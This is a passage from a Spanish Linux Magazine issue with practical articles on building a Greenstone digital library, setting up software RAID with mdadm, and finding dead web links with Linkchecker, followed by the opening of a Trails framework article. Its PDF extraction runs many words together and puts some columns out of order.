IndexadoGreenstone permite la búsqueda de texto,por todo el cuerpo del documento de lacolección, desde una ventana de navega-ción web. Podemos buscar por cualquiercombinación de palabras o frases. Pordefecto, las colecciones Greenstone vienencon tres índices de consultas: texto, título yfuente. Podemos cambiar los índices asigna-dos a nuestra colección desde la sección
nuestras colecciones digitales. En esteprocedimiento los pasos básicos son:
• Reunión de documentación (en lospaneles Download y Gather)
• Asignación de metadatos (panel Enrich)• Diseño de las estructuras de indexación
y navegación
• Construcción de la colección
Para crear una nueva colección elegimosNew en el menú File. Introducimos el nom-bre de la colección (sugerimos “LinuxMagazine”) y una descripción antes de pul-sar OK. Cuando nos pregunte por el tipo demetadatos a usar es conveniente seleccio-nar el conjunto de metadatos de DublinCore. Podemos seleccionar documentos (odirectorios completos de documentos)desde el panel de trabajo (Workspace,situado a la izquierda) y arrastrarlos hasta elpanel de colecciones (Collection, a la dere-cha). El comportamiento de GLI es similaral de los gestores de ficheros usuales, permi-tiendo la copia y eliminación de ficheros denuestra colección (Figura 2).
Greenstone es capaz de extraer demanera automática la útil metainformaciónde los ficheros de documentos durante elproceso de construcción. Esta característicaes realmente interesante cuando el docu-mento contiene metadatos del tipo título,autor, temática o palabras clave. Puesto quelos documentos de nuestro DVD no contie-nen este tipo de metadatos, GLI no podráextraer nada demasiado útil de maneraautomática. Podemos, por otro lado, añadirla metainformación de manera manual enel panel destinado a esta tarea, Enrich. Losmetadatos pueden ser tratados a nivel decarpetas o ficheros. La metainformación
PRÁCTICO • Greenstone
36 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 2: El interfaz de bibliotecario de Greenstone (GLI). Figura 3: Las herramientas de diseño están disponibles desde el
panel de Diseño.
Índices de Búsquedas del panel de diseño(Figura 4). También es posible eliminar elíndice de fuente de nuestra colección LinuxMagazine, puesto que hace referencia sóloal nombre del fichero del documento, y eneste ejemplo no es un parámetro de bús-queda útil. Además hemos añadido elcampo de metadatos dc.Title como un ele-mento para el índice de título.
La Figura 5 muestra el interfaz de búsque-das para la búsqueda por títulos. Greenstonepermite al usuario indicar términos de con-sultas más complejos. El interfaz debúsqueda avanzada puede ser adaptadodesde la opción de Preferencias, localizadaen la esquina derecha de nuestra página de lacolección.
Clasificaciones de NavegaciónGreenstone permite a los usuarios navegarpor los documentos de la colección. Laestructura de la navegación es generada demanera automática a partir de los metadatosasociados a cada documento de la colección.
Podemos establecer los clasificadores denavegación desde la opción de mismo nom-bre situada en el panel de diseño (Figura 6).Todos los clasificadores generan una estruc-tura jerárquica que es usada para mostrar uníndice de navegación. El nivel más bajo endicha jerarquía corresponde normalmente alos documentos, pero podría estar consti-tuida por secciones para algunosclasificadores. Existen varios tipos de clasifi-cadores disponibles; para ver los detalles esmejor consultar la Guía de Desarrollo de Gre-enstone [7].
Para nuestra colección de Linux Magazine,hemos usado los clasificadores AZList yAZCompactList para establecer la estructura
de navegación. El clasificador AZList mues-tra los términos clasificados en ordenalfabético, mientras que el clasificadorAZCompactList agrupa los términos que apa-recen repetidos en la jerarquía bajo un nuevonodo, mostrado con un icono similar a unaestantería. Los parámetros de clasificación (ysus opciones asociadas) de nuestra colecciónLinux Magazine son:
• Para la navegación por título: AZList
-metadata dc.Title
• Para la navegación por número depublicación: AZCompactList -metadata
dc.Description -buttoname issue
• Para navegar por las secciones de LinuxMagazine: AZCompactList -metadata
dc.Resource Identifier -mingroup 1 -but-
tonname section
Al establecer la opción mingroup a 1 indica-mos que el nodo de estantería debe sercreado al nivel más alto, aún cuando existaun solo ítem en el grupo. Desde el interfazweb de Greenstone podemos seleccionar unade las clasificaciones de navegación (porejemplo: títulos, autor y práctico) pulsandosobre el icono correspondiente.
Podemos configurar el icono de cada clasi-ficación de navegación. Si no estamosconforme con los valores establecidos pordefecto, podremos crear nuestros propiosiconos. En nuestro ejemplo hemos creadonuevos iconos para las opciones de navega-ción de secciones y publicaciones. Es posibleasociar estos iconos con sus respectivas clasi-ficaciones añadiéndolos en la opción nombre
del botón (buttonname, Figura 6). Mostrare-mos después cómo crear estos iconos deestilo similar a los de Greenstone.
Características de Formato
Las páginas web de la biblioteca Greens-tone son generadas dinámicamente bajodemanda. Los comandos de formato seusan para poder cambiar la apariencia dedichas páginas, en especial en cómo sonmostrados los documentos en la navega-ción y en la lista de resultado debúsquedas.
Para poder manipular los comandos deformateo es necesario elegir las Caracterís-ticas de Formato (Format Features) delpanel de Diseño. Podemos hacer uso deetiquetas HTML, valores de metadatos(encerrados entre corchetes), algunoscomandos propios de formateo de cadenas(ej: highlight, numleafdocs) y expresionescondicionales (cómo {If} o {Or}). El lis-tado completo se encuentra en [7].
Podemos adaptar la estética de cada unade las clasificaciones de navegación. Porejemplo, para el clasificador de navegaciónde Título, seleccionemos CL1:AList -meta-
data dc.Title desde la sección de Selecciónde Características (Choose Feature), y VList(determina el formato de la lista vertical deresultados de la búsqueda) del compo-nente elegido. Nosotros hemos adaptado laapariencia usando para ello las siguientessentencias de formato:
<td valign=top>U
[link][icon][/link]</td>
<td>[srclink][srcicon]U
[/stclink]</td>
<td>[highlight]{Or}U
{[dc.Title],[ex.Title],U
Untitled}[/highlight]
<br>[dc.Description]</td>
Greenstone • PRÁCTICO
37Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 4: Define los ajustes del índice en la sección de Índices de
Búsquedas del panel de Diseño.
Figura 5: El interfaz para la búsqueda de títulos usando nuestra muy
útil colección de ejemplo.
<br>[dc.Description].
<td valign=top>U
[link][icon][/link]</td>
<td>{If}{[numleafdocs],U
<b>[Title]([numleafdoc])</b>,U
[srclink][srcicon][/srclink]
<td>[highlight]{Or}U
{[dc.Title],[ex.Title],U
Untitle}[/highlight]<br>U
[dc.Description]</td>}</td>
Cada una de las opciones y configuración
anteriores pueden establecerse fácilmente
desde la sección Format Features del panel
de diseño de GLI. Las opciones de formatos
pueden cambiarse sin necesidad de volver a
reconstruir la colección.
Sencilla Adaptación de laColecciónAñadir un nuevo icono a nuestra colección
es sencillo. Podemos indicar los iconos aso-
ciados a las páginas ‘acerca de…‘ y la
principal desde la sección general del panel
de diseño. Además, Greenstone propor-
ciona ciertas facilidades para la creación de
imágenes de colección e iconos de clasifica-
dores de estilo similar a los usados por este
programa. Podemos ir a la página http://
www.greensotne.org/make-images.html
para crear nuevas imágenes e iconos. Estos
gráficos deben ser alojados en la carpeta de
imágenes de la instalación de Greenstone
(consultar la Figura 2). La página web
explica cómo configurar Greenstone para
usar las nuevas imágenes creadas.
Es posible reconstruir nuestra colección
en cualquier momento. Los comandos de
formato pueden ser modificador sin necesi-
dad de reconstruir la colección. Podremos
ver cualquier cambio efectuado simple-
mente refrescando la página web o
pulsando sobre el botón de Vista Previa de
la Colección (Preview Collection) en el panel
de creación. Para más opciones de adapta-
ción y operación hay que consultar la Guía
de Usuario de Greenstone [8].
SumarioGreenstone se revela como una herramienta
extremadamente útil en aplicaciones de
ordenación, búsqueda y organización de un
número grande de documentos electróni-
cos. Una vez construida y adaptada la
biblioteca digital, ésta estará accesible desde
cualquier navegador web. �
Esta sentencia de formato nos mos-
trará un icono que enlaza a la
versión Greenstone del documento,
un icono que enlaza al documento
original, el titulo y los detalles de
publicación para cada documento en
la lista de navegación A-Z de títulos
(Figura 7).
Con el clasificador de navegación
por publicaciones (usando
CL2:AZCompactList -metadata dc.
Description en Choose Feature y VList
en el componente seleccionado),
hemos realizado el formateado con
las siguientes sentencias:
<td valign=top>U
[link][icon][/link]</td>
<td>{If}{[numleafdocs],U
<b>[Title]([numleafdoc])</b>,U
[srclink][srcicon][/srclink]
<td>[highlight]{Or}U
{[dc.Title],[ex.Title],U
Untitle}[/highlight]U
</td>}</td>
Con esto lograremos que los docu-
mentos queden agrupados bajo sus
respectivas publicaciones, y mostra-
remos el número total de
documentos para cada publicación.
De manera similar, las opciones
para el clasificador de navegación de
secciones (seleccionamos
CL3:AZCompactList -metadata
dc-Resource Identifier en Choose Fea-
ture y VList para nuestro
componente) son las que mostramos
un poco más abajo. Aquí se ha aña-
dido una opción adicional:
PRÁCTICO • Greenstone
38 Número 20 W W W . L I N U X - M A G A Z I N E . E S
[1] El Proyecto de la Librería Digital de
Nueva Zelanda: http://www.nzdl.org
[2] Poyectos de DL Consulting: http://
www.dlconsulting.co.nz/cgi-bin/index.
cgi?a=p&p=projects
[3] Ejemplos de Greenstone en Acción:
http://www.greenstone.org/cgi-bin/
library?a=p&p=examples
[4] Descarga del Software Greenstone:
http://prdownloads.sourceforge.net/
greenstone/gsdl-2.62-unix.tar.gz
[5] Apache: http://www.apache.org
[6] Apunta tu navegador a la URL: http://
localhost:9090/gsdl/cgi-bin/library
[7] Adaptando tu Librería Greenstone:
http://www.greenstone.org/cgi-bin/
library?a=p&p=faqcustomize#customi
zeformat
[8] Documentación de Greenstone:
http:///www.greenstone.org/cgi-bin/
library?a=p&p=docs
Recursos
Figura 6: Configurando las clasificaciones de navegación desde el
panel de Diseño.
Figura 7: Navegando por títulos en Greenstone.
RAID • PRÁCTICO
39Número 20W W W . L I N U X - M A G A Z I N E . E S
Opciones RAID para el Escritorio Linux
EASY RAIDEROpciones RAID para el Escritorio Linux
EASY RAIDER
fallara. El documento que publicaron se titu-
laba “A Case for Redundant Array of
Inexpensive Disks (RAID)”. Cuando algún
tiempo después el precio de los discos gran-
des dejó de ser un problema, la palabra
Inexpensive (Barato) se sustituyó por Inde-
pendent (Independiente).
En el escenario RAID más sencillo pueden
agruparse un número de discos para formar
una única unidad y presentar esa unidad a la
capa de aplicación como un único disco
lógico. Esto es lo que los empollones deno-
minan JBOD, “Just a Bundle of Disks” (Un
conjunto de discos). Pero RAID puede hacer
mucho más. Realiza las funciones de una
capa de gestión entre el sistema de ficheros y
el hardware permitiendo explotar las caracte-
rísticas físicas del array de discos. Distintas
alternativas RAID ofrecen un rango completo
de soluciones para mejorar el rendimiento o
mitigar el riesgo de un fallo en el disco.
Las distintas alternativas RAID se denomi-
nan Niveles RAID, aunque el término nivel
no implica jerarquía; al contrario, los distin-
tos niveles RAID son realmente diseños
independientes. Los siete niveles básicos se
conocen como RAID 0 a RAID 7. Véase el
cuadro titulado “Niveles RAID” para saber
más sobre estas alternativas RAID.
Los niveles RAID 0 y 1 son los más impor-
tantes para los usuarios domésticos. El nivel
0 es también conocido como “striping” y
proporciona el máximo rendimiento posible.
El nivel 1 suministra un alto nivel de redun-
dancia y se conoce como “mirroring”. Para
los usuarios que no puedan decidir si necesi-
tan más rendimiento o más redundancia hay
un nivel RAID especial conocido como RAID
1.5. Sin embargo, este nivel es una combina-
ción: hacen falta al menos cuatro discos para
poder combinar las propiedades de los nive-
les 0 y 1. RAID 1.5 combina el nivel 0 y el 1
con sólo dos discos, presentando los discos
RAID de forma separada a la capa de aplica-
ción. (Figura 1).
Rendimiento con StripingStriping (RAID 0) implica la unión conjunta
de los discos y su direccionamiento en blo-
ques. Cuando una aplicación necesita
escribir datos, la controladora RAID distri-
buye la carga sobre todos los discos.
Desde un punto de vista técnico la contro-
ladora simplemente vuelca los datos en la
caché del disco duro y a continuación va al
siguiente disco. Hasta que la controladora
dialoga de nuevo con el primer disco, éste ha
tenido tiempo suficiente para finalizar la
tarea, debiendo tener los resultados ya listos
para ser recogidos. Si se utilizan dos discos,
los tiempos de acceso deberían ser teórica-
mente el doble de rápidos.
Desde luego, RAID 0 no distribuye los
datos a nivel de caracteres; por el contrario,
utiliza bloques de datos con cierto grado de
granularidad. La probabilidad de un fallo se
incrementa en función del número de discos
que se tengan en el array. Por ello, esta téc-
nica se recomienda en sistemas donde la
velocidad es mucho más importante que la
redundancia.
La Seguridad de las ImágenesMirroring (RAID 1) es exactamente lo contra-
rio a la técnica anterior. Direcciona el disco
en series y escribe los datos en cada disco del
array; dicho de otro modo, RAID 1 realiza
una imagen de los datos en el otro disco. Sin
embargo, el almacenaje de copias idénticas
de datos en cada disco significa que la capa-
cidad total del array no va a ser mayor que la
de un disco individualmente. Si se utilizan
dos discos de 200 GBytes, la capacidad total
va a ser de 200 GBytes en vez de 400 Gbytes.
Mientras que el tiempo de escritura no es
diferente del tiempo de escritura en un único
disco, los accesos de lectura son mucho más
rápidos, ya que la controladora puede leer
desde los dos discos en paralelo.
La gran ventaja que RAID 1 ofrece es que,
si uno de los discos falla, los datos aún esta-
rán disponibles en el otro disco. Sin
embargo, esto sólo es aplicable a los defectos
físicos: los errores lógicos, como los borrados
En los últimos 15 años, la capacidad de
los discos duros ha crecido por un
factor de al menos mil. Hace 15 años
un disco duro típico tenía una capacidad de
unos 300 a 500 Mbytes y resultaban tan caros
como los discos actuales de 300 a 500
Gbytes. Como actualmente son bastante
comunes los PCs con dos o más discos
duros, los usuarios domésticos pueden fácil-
mente permitirse el lujo de la redundancia de
datos y de mayores rendimientos, que hasta
hace unos años sólo se podían permitir las
empresas en sus servidores. La tecnología
que hace todo esto posible se conoce como
RAID.
Introducción a RAIDRAID [1] fue diseñada hace unos 20 años por
los estudiantes de postgrado de Berkeley,
David Patterson, Garth Gibson y Randy Katz.
En ese tiempo, RAID era la respuesta a un
problema difícil: si se necesitaba una gran
capacidad de almacenamiento había que ele-
gir entre un disco grande, que era fiable pero
caro, o un conjunto de discos pequeños,
mucho menos fiables pero baratos.
Uno de los problemas con los discos
pequeños era que el esfuerzo de gestión que
conllevaba el reemplazo de un disco grande
por varios pequeños era demasiado grande.
RAID era un esquema para direccionar un
array de multiples discos como una única
unidad. La solución propuesta también con-
taba con el riesgo de la perdida de datos en
caso de que uno de los discos del array
Linux ofrece varias opciones para conseguir la promesa RAID de
accesos rápidos al disco duro y de seguridad de datos.
POR MARCUS NASAREK
PRÁCTICO • RAID
40 Número 20 W W W . L I N U X - M A G A Z I N E . E S
no deseados, las modificaciones o la sobrees-
critura de los archivos del sistema de ficheros
se reflejarán en el otro disco en tiempo real.
Dicho de otro modo, RAID 1 no protege de
los errores humanos o de los errores soft-
ware.
La Combinación: RAID 1.5Para obtener los beneficios de los niveles
RAID 0 y 1 al mismo tiempo, se necesita un
PC con al menos cuatro discos duros para
una solución que los combine RAID 10
(véase el cuadro “Niveles RAID”). Esto no
representa una opción para la mayoría de los
usuarios. Algunos fabricantes, siendo cons-
cientes de que la mayoría de los usuarios no
desean utilizar cuatro discos, ofrecen una
solución de compromiso que tan sólo hace
uso de dos discos.
RAID 1.5, que es como se conoce esta solu-
ción, divide cada uno de los dos discos en dos
áreas. La controladora combina una de estas
áreas de cada disco para proporcionar un
array RAID 1, mientras que combina las otras
dos para porporcionar un array RAID 0. Esta
solución se muestra en la Figura 1.
DFI y Epox fueron los primeros fabri-
cantes de placas madre que presentaron
esta variante RAID, sin embargo, los
vendedores fallaron en su propuesta;
ambas placas tan sólo implementaban
arrays RAID 1. Los beneficios sólo se
obtuvieron en mejoras en las velocida-
des de lectura. Finalmente, Intel
apareció con la controladora ICH6R I/O
para los nuevos discos Serial ATA pre-
sentando la “Intel Matrix RAID”, que
proporciona el soporte RAID 1.5 de
forma correcta.
Además de los conocidos niveles RAID 0
y 1, existen una gran variedad de dise-
ños RAID. El trabajo original de
Patterson, Gibson y Katz cubrió los nive-
les del 1 al 5. Los niveles 0 y 6 se
añadieron posteriormente, ya
que fueron soluciones propieta-
rias. Los niveles del 2 al 4, y 6 y 7
son menos populares y han lle-
gado a ser más o menos
insignificantes. Las combinacio-
nes de otros diseños han llevado
a los niveles conocidos como
Nivel 0+1, 10, 30, 15, 50, 51, 55 y
RAID-Z.
RAID 0 agrupa los discos y distri-
buye la carga sobre los discos.
Esto hace que se mejoren consi-
derablemente las velocidades de
acceso. La capacidad total del
array es igual a la suma de las
capacidades de los discos. El
riego de un fallo es bastante alto,
ya que este nivel no ofrece nin-
gún tipo de redundancia.
RAID 1 escribe datos idénticos
simultáneamente a todos los
discos del array. La capacidad
final del array es igual a la capa-
cidad de un disco simple. Las
velocidades de lectura son nor-
malmente más rápidas que con
un único disco y los accesos de
escritura son casi de la misma
velocidad.
RAID 2 era bastante común en
los antiguos mainframes, pero
actualmente apenas se utiliza. Un array
RAID 2 necesitaba al menos 10 discos.
Con un control de errores sofisticado
permitía a los usuarios detectar tanto los
errores en los discos como los errores de
escritura. Suponiendo que se tenían 10
discos, la tasa del tiempo de lectura y
escritura era de 1 a 8 comparado con un
único disco.
Añadiéndole a los discos duros opera-
ciones a nivel de bits sobre los datos y
almacenando los resultados se podían
restaurar los datos perdidos cuando un
disco fallaba mediante referenciado a los
datos existentes y a los resultados de la
suma. El resultado de la suma se deno-
mina paridad. RAID 3 almacena la
paridad de los datos para el array en un
único disco. Como el disco de la paridad
se usa mucho más que los discos
de datos, posee una tendencia
natural a fallar primero.
RAID 4 representa una pequeña
modificación sobre RAID 3:
donde RAID 3 utilizaba ristras de
bytes, RAID 4 procesa los blo-
ques completos de datos. Como
resultado, RAID 4 puede manejar
ficheros pequeños más eficiente-
mente, mientras que RAID 3 sólo
lo hacía con ficheros contiguos.
Como RAID 3, RAID 4 utiliza un
disco separado para la paridad.
RAID 5 es la versión más barata
de almacenamiento de datos
redundante. Suponiendo al
menos un array de tres discos se
obtiene el 66 por ciento del espa-
cio para almacenar los datos
frente al 50 por ciento proporcio-
nado por RAID 1. Cuanto más
discos se añadan, mejores serán
los resultados. RAID 5 distribuye
los datos y la información sobre
la paridad en todos los discos del
array, por lo que todos los discos
tienen el mismo uso. Como con-
trapartida, la reconstrucción del
RAID tras un fallo lleva más
tiempo que con RAID 1.
Dependiendo de la aplicación,
pueden combinarse los niveles básicos de
RAID más o menos de forma arbitraria.
RAID 10 implementa un array RAID 0
usando dos arrays RAID 1. RAID 1 propor-
ciona redundancia para una mayor
seguridad de los datos, mientras que RAID
0 añade rendimiento. Si se tienen al menos
seis discos, una combinación de RAID 5 y 0
(RAID 50) es incluso más eficiente.
Niveles RAID
RAID 0: Más velocidad debido alas operaciones en paralelo.
RAID 1: Redundancia a través dela duplicación de discos.
RAID 2: Seguridad en números. RAID 3: Striping con paridad.
RAID 4: Una mejor solución deRAID 3 para ficheros pequeños.
RAID 5: Redundancia yrendimiento de lectura.
RAIDs combinados
RAID • PRÁCTICO
41Número 20W W W . L I N U X - M A G A Z I N E . E S
los ordenadores
poseen potencia
suficiente para pro-
cesar la carga
adicional de gestio-
nar el array de
discos casi transpa-
rentemente, y los
beneficios del rendi-
miento de una
solución basada en
la placa madre pue-
den ser marginales,
ya que recaen en el
uso de controlado-
res software.
Para dar los pri-
meros pasos con
RAID, es perfecta-
mente viable la
instalación de una
variante basada en software. Para ello se
necesitan los privilegios de root en la
máquina en cuestión junto con al menos dos
particiones libres y la herramienta Mdadm
[2]. Hay que asegurarse de que las particio-
nes no contengan datos, ya que se borrarán
los sistemas de ficheros de estas particiones
en el transcurso de nuestro experimento.
Incluso se puede utilizar una memoria
USB para nuestros primeros ensayos RAID;
sólo habrá que particionar la memoria con
una herramienta como Gparted, Qtparted o
Cfdisk. El experimento implica los siguientes
pasos:
• Crear al menos dos particiones de igualtamaño.
• Usar mdadm para combinar las particio-nes y crear un área RAID.
• Formatear el dispositivo RAID con un sis-tema de ficheros.
• Acceder a la nueva partición RAID.• Utilizar mdadm para monitorizar el array
RAID.
El siguiente ejemplo utiliza un dispositivo
USB referenciado como /dev/sdc y dos parti-
ciones referenciadas como /dev/sdc1 y
/dev/sdc2. Para contruir un array RAID 1,
hay que introducir el siguiente comando
mdadm:
mdadm —create —verbose U
/dev/md0 —level=1
-raid-devices=U
2 /dev/sdc1 /dev/sdc2
La opción —create crea el RAID; —verbose
proporciona información más detallada
sobre el proceso; /dev/md0 es el nombre del
dispositivo RAID resultante y —level=1 esta-
blece el nivel de redundancia al nivel RAID 1.
El último parámetro pasa el número de parti-
ciones RAID y sus nombres.
Antes de poder utilizar el array RAID
recién creado hay que formatear (utilizando
ReiserFS en nuestro ejemplo) y montar el sis-
tema de ficheros resultante:
mkreiserfs /dev/md0
mkdir /media/RAID
mount /dev/md0 /media/RAID
Ahora se puede utilizar el directorio
/media/RAID como cualquier otro disco. Sin
embargo, en el fondo, los datos se escribirán
en dos particiones para proporcionar la
redundancia. El comando mdadm -detail
/dev/md0 presenta información del estado
del array RAID. La Figura 2 muestra la salida
de este comando.
ConclusionesRAID ofrece diferentes beneficios para los
usuarios domésticos. Con él se obtienen
mayor redundancia de datos y accesos más
rápidos al disco. La herramienta Mdadm
ayuda a implementar cualquiera de los nive-
les RAID presentados en este artículo. �
Software vs. Hardware
Los diversos diseños RAID se implementaron
originalmente como soluciones software.
Como el esfuerzo computacional de la solu-
ción puramente software era demasiado
pesada para las CPUs del momento, no tardó
en aparecer la primera tarjeta controladora
RAID que fue presentada para proporcionar
una solución más potente basada en hard-
ware. Esta clase de implementación se
conoce como RAID hardware.
Aparecieron CPUs más potentes, con lo
que era más fácil implementar RAID sola-
mente basado en software. El software RAID
de bajo presupuesto llegó a ser común en las
máquinas domésticas que ejecutaban Linux.
Los arrays RAID software normalmente no
son tan rápidos como los basados en hard-
ware. La carga de la CPU es normalmente
apreciable en las operaciones diarias. Los
beneficios de los accesos paralelos son difíci-
les de explotar con los controladores
software.
RAID empezó a popularizarse entre los
usuarios domésticos cuando los fabricantes
empezaron a añadir chips controladores
RAID en sus placas. Hoy en día, la mayoría
de las placas modernas, especialmente las
que poseen conectores para los discos rápi-
dos SATA, poseen alguna clase de soporte
RAID. Los chips integrados en la mayoría de
las placas madre tan sólo gestionan parte del
proceso, dejando que los drivers compartan
el trabajo. Y hacer que esto funcione no es
algo que sea siempre trivial.
Explorando RAIDLa solución RAID basada en software hace
tiempo que fue presentada en Linux. Ahora
Figura 2: Mdadm te muestra información sobre el estado de los
dispositivos RAID.
Figura 1: RAID Nivel 1.5 combina las
características de RAID 0 y RAID 1
[1] RAID en Wikipedia:http://en.wikipedia.
org/wiki/RAID
[2] Mdadm: http://cgi.cse.unsw.edu.au/
~neilb/mdadm
Recursos
Si gestiona un sitio web grande,
seguro que estará familiarizado
con el problema de los enlaces
muertos. Una página externa referen-
ciada por un enlace puede quedarse
fácilmente inoperativa y cuando un
usuario pulse el enlace, el navegador
dará un salto hacia un agujero negro.
Este problema puede ser difícil de atajar
a menos que se planee pasar todo el
tiempo libre comprobando los enlaces de
nuestro propio sitio web. Si se busca una
forma rápida de cazar estos agujeros,
entonces hay que probar Linkchecker.
La forma más fácil de instalar Link-
checker [1] es utilizar la versión sin
compilar. Para los sistemas basados en
paquetes RPM, como Suse o Fedora, se
encuentran disponibles en [2] un
paquete RPM con la versión actual 3.3 y
PRÁCTICO • Linkchecker
42 Número 20 W W W . L I N U X - M A G A Z I N E . E S
un archivo con el código fuente. Los
usuarios con sistemas basados en
Debian deberían probar en el sitio [3] o
instalar Linkchecker ejecutando apt-get
install linkchecker.
Buscando HuecosLinkchecker se ejecuta en la línea de
comandos con el patrón linkchecker
opciones objeto, donde objeto es un
fichero local o remoto accesible vía
HTTP o FTP. Una entrada como linkchec-
ker www.linux-magazine.com debería
funcionar, ya que Linkchecker añade
automáticamente el prefijo URL http:// o
ftp://. Si se utiliza un proxy para navegar
por Internet, habrá que indicárselo a
Linkchecker por medio de las variables
de entorno http_proxy, https_proxy,
ftp_proxy y gopher_proxy. La sintáxis
exacta depende del intérprete de coman-
dos que se esté utilizando. Si se tiene
Bash, entonces con export
http_proxy=”http://localhost:8080”; los
que tengan el intér-
prete de comandos
Tc con setenv
http_proxy
“http://local-
host:8080”. Para un
proxy que se esté
ejecutando en la
máquina local y
esté a la escucha en
el puerto 8080 pasa
el enlace que com-
prueba Internet..
Un fichero sen-
cillo, pero no
completamente estándar con HTML,
denominado test.html revela cómo fun-
ciona Linkchecker: con linkchecker
test.html parece en un principio que no
funciona. Linkchecker simplemente
informa que ha comprobado un enlace y
no ha encontrado ningún error (Figura
1). Sin embargo, el fichero de prueba en
realidad incluye tres enlaces, dos de los
cuales apuntan a agujeros negros.
Por el contrario, si el fichero test.html
es servido por un servidor web, Link-
checker encuentra los enlaces erróneos
(Figura 2). La documentación también
indica que la versión actual no soporta
scripts Java.
El Patrón CorrectoAdemás de la salida de texto se puede
seleccionar uno de los formatos listados
en la Tabla 1. Según que se necesite una
salida para mostrarla en la pantalla o un
fichero de salida especial, podrían esta-
blecerse —output=html o bien
—file-output=html/nombre_de_fichero
para el formato HTML. Si no se especi-
fica un nombre para el fichero de salida
Linkchecker llama al fichero
linkchecker-out y le añade el tipo de
Figura 1: Linkchecker tiene problemas con el sistema de ficheros.
Ignora dos errores y comprueba un enlace.
Captura de Enlaces Web Muertos con Linkchecker
ENLACES PERDIDOS
Linkchecker arregla los sitios webs con referencias a páginas perdidas.
POR HAGEN HÖPFNER
Hagen Höpfner
ha completado
ya su doctorado
en informática e
imparte clases
de bases de
datos y sistemas de informa-
ción en la Universidad
Internacional de Alemania
(http://www.i-u.de), en Bruchsal,
Alemania. Además de ser un
amado padre, Hagen es coautor
de un manual de referencia
sobre bases de datos para
móviles y sistemas de informa-
ción. En su tiempo libre, toca la
guitarra en un grupo de rock lla-
mado “Gute Frage” (http://
www.gutefrage.info).
EL
AU
TO
R
que Linkchecker se ejecute en segundo
plano, hay que establecer la opción -q,
que suprime la salida por la línea de
comandos. Algunos formatos de salida,
como gml, requieren además la opción
—verbose. Esta opción le indica al pro-
grama que añada información sobre los
enlaces operativos en el gráfico.
AfinandoGrandes sitios web normalmente engloban
multitud de ficheros interrelacionados.
Linkchecker inicia su búsqueda en la direc-
ción de comienzo y busca de forma
recursiva el dominio completo. Tecleando
linkchecker www.linux-magazine.es se le
indica al programa que compruebe todas
las páginas que comiencen con http://
www.linux-magazine.es.
La opción -r establece la profundidad de la
búsqueda recursiva. linkchcker -r1
www.linux-magazine.com comprueba la
página de bienvenida y todas las páginas que
sean referenciadas por ésta. Si por el contrario
se especifica -r2, el programa busca un nivel
más profundo. Las opciones
—no-follow-url=regex y —ignore-url=regex
nos permiten influenciar en la búsqueda auto-
mática. El primer caso le indica a Linkchecker
que analice las URLs que casen con la expre-
sión regular, regex, pero que no busque en las
subpáginas. También se puede especificar
—ignore-url URLs para definir las páginas
webs que Linkchecker debería ignorar.
Por razones de eficiencia, esta herramienta
investiga múltiples ficheros de forma para-
lela, normalmente hasta diez ficheros al
mismo tiempo. Se puede modificar el
número máximo de enlaces a comprobar
estableciendo la opción -tX, donde la X repre-
senta el número. El comando man
linkchecker proporciona una lista de opcio-
nes disponibles.
ConclusionesLinkchecker es una herramienta muy útil
para descubrir los enlaces muertos. La varie-
dad de formatos de salida permiten el
procesamiento estructurado de cualquier
error que el proceso encuentre. En nuestro
laboratorio, Linkchecker tuvo problemas con
ficheros en su propio sistema de ficheros,
pero en ningún otro sitio más. �
fichero, por ejemplo
linkchecker-out.html. La Figura 3 pre-
senta al navegador web mostrando un
fichero de salida: los enlaces, que permi-
ten comprobar los resultados de la
búsqueda, son una ayuda muy útil.
La salida se envía a la terminal al
mismo tiempo que al fichero. Si se desea
[1] Sitio web de Linkchecker: http://
linkchecker.sourceforge.net/
[2] Descarga de Linkchecker: http://
sourceforge.net/project/showfiles.
php?group_id=1913
[3] Linkchecker para Debian: http://
packages.debian.org/unstable/web/
linkchecker
[4] Ivan Herman, M. Scott Marshall:
GraphXML . Un formato gráfico de
intercambio basado en XML: http://db.
cwi.nl/rapporten/abstract.
php?abstractnr=613
[5] GVF. El Graph Visualization Frame-
work: http://gvf.sourceforge.net/
[6] Formato de fichero GMLt: http://
infosun.fmi.uni-passau.de/Graphlet/
GML/
[7] Graphviz. Software de visualización
de gráficos para los ficheros DOT:
http://www.research.att.com/sw/tools/
graphviz/
Recursos
Palabra Significado
reservada
text Salida estándar de texto a un
fichero de texto plano.
html Salida como código HTML
que contiene enlaces a las
páginas referenciadas.
csv Salida como texto separado
por comas con una URL por
línea.
gml Salida en formato gráfico
GML [6].
dot Salida en formato gráfico
.dot [7].
gxml Salida en formato
GraphXML [4]. Hay visores
disponibles en [5].
xml Salida en formato XML, com
prensible para las máquinas.
sql Salida como instrucciones
INSERT de SQL.
blacklist Esta opción le indica a
Linkchecker que registre
solamente información
sobre los errores y que la
escriba en
~/.linkchecker/blacklist. Esto
es útil para la verificación
automática de enlaces con
cron.
none Sin salida, útil para los
scripts.
Tabla 1: Formatos de Salida
Linkchecker • PRÁCTICO
43Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 2: Encontrando fallos: Linkchecker encuentra errores en
“test.html” con ayuda del servidor web. La herramienta comprueba
cuatro enlaces e informa que dos de ellos están mal.
Figura 3: Extrayendo los resultados en un documento HTML nos pro-
porciona enlaces en la salida HTML, que si los seguimos nos llevan a
comprobar los resultados.
ejemplo: una herramienta que administre
información de vídeos.
Comienzo RápidoPara trabajar con Trails necesitamos instalar
Ant y el archivo de 20Mbyte de Trails que
podemos encontrar en [2]. El archivo
incluye todos los entornos de trabajo que
necesitamos para ejecutarlo. Deberíamos
también disponer de Tomcat 5.5 como servi-
dor de aplicaciones para evitar retrasos. Tras
configurar ANT_HOME y desempaquetar
Trails en un directorio adecuado, podemos
ejecutar el comando ant install-apt para ins-
talar las librerías necesarias de Ant
paraTrails en el directorio Ant-Lib.
Trails genera automáticamente la aplica-
ción esqueleto (Rails la denomina
“andamiaje”) y la completa con las librerías
y archivos de configuración necesarios. Para
ello, todo lo que necesitamos es ejecutar ant
create-project en el directorio de Trails.
Tras teclear el directorio de root y un nom-
bre para la nueva aplicación (myvideos, en
este ejemplo), Trails crea un nuevo directo-
rio junto con los subdirectorios necesarios y
las librerías, incluyendo un archivo
build.xml para crear y desplegar la nueva
aplicación Web. La estructura de este nuevo
directorio es la siguiente:
• directorio de root/myvideos/: directorio
principal para la aplicación Web. Este
directorio puede usarse como punto de
partida para importar un proyecto a una
IDE como Eclipse.
• directorio de root/myvideos/src: directo
rio del código fuente de la aplicación. Es
